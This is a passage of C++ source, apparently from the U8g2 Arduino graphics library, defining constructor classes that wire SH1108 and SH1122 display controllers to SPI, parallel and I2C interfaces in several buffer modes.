U8G2_SH1108_160X160_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_160X160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_160X160_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1108_160X160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1108_160X160_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_160X160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1108_160X160_1_6800 : public U8G2 {\n  public: U8G2_SH1108_160X160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_160X160_1_8080 : public U8G2 {\n  public: U8G2_SH1108_160X160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_160X160_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1108_160X160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_160X160_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_160X160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_160X160_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_160X160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_160X160_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1108_160X160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1108_160X160_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_160X160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1108_160X160_2_6800 : public U8G2 {\n  public: U8G2_SH1108_160X160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_160X160_2_8080 : public U8G2 {\n  public: U8G2_SH1108_160X160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_160X160_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1108_160X160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_160X160_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_160X160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_160X160_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_160X160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_160X160_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1108_160X160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1108_160X160_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1108_160X160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1108_160X160_F_6800 : public U8G2 {\n  public: U8G2_SH1108_160X160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_160X160_F_8080 : public U8G2 {\n  public: U8G2_SH1108_160X160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_160x160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1108_160X160_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1108_160X160_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_160x160_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1108_160X160_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1108_160X160_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_160x160_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1108_160X160_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1108_160X160_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_160x160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1108_160X160_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1108_160X160_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_160x160_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1108_160X160_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1108_160X160_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_160x160_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1108_160X160_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1108_160X160_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_160x160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1108_160X160_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1108_160X160_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_160x160_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1108_160X160_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1108_160X160_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_160x160_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1108_160X160_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1108_160X160_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1108_i2c_160x160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1122_256X64_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1122_256X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1122_256X64_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1122_256X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1122_256X64_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1122_256X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1122_256X64_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1122_256X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1122_256X64_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1122_256X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1122_256X64_1_6800 : public U8G2 {\n  public: U8G2_SH1122_256X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1122_256X64_1_8080 : public U8G2 {\n  public: U8G2_SH1122_256X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1122_256X64_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1122_256X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1122_256X64_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1122_256X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1122_256X64_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1122_256X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1122_256X64_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1122_256X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1122_256X64_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1122_256X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1122_256X64_2_6800 : public U8G2 {\n  public: U8G2_SH1122_256X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1122_256X64_2_8080 : public U8G2 {\n  public: U8G2_SH1122_256X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1122_256X64_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1122_256X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1122_256X64_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1122_256X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1122_256X64_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1122_256X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1122_256X64_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1122_256X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1122_256X64_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1122_256X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1122_256X64_F_6800 : public U8G2 {\n  public: U8G2_SH1122_256X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1122_256X64_F_8080 : public U8G2 {\n  public: U8G2_SH1122_256X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_256x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1122_256X64_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1122_256X64_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_i2c_256x64_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1122_256X64_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1122_256X64_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_i2c_256x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1122_256X64_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1122_256X64_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_i2c_256x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1122_256X64_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1122_256X64_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_i2c_256x64_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1122_256X64_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1122_256X64_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_i2c_256x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1122_256X64_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1122_256X64_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_i2c_256x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1122_256X64_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1122_256X64_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1122_i2c_256x64_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1122_256X64_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1122_256X64_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : 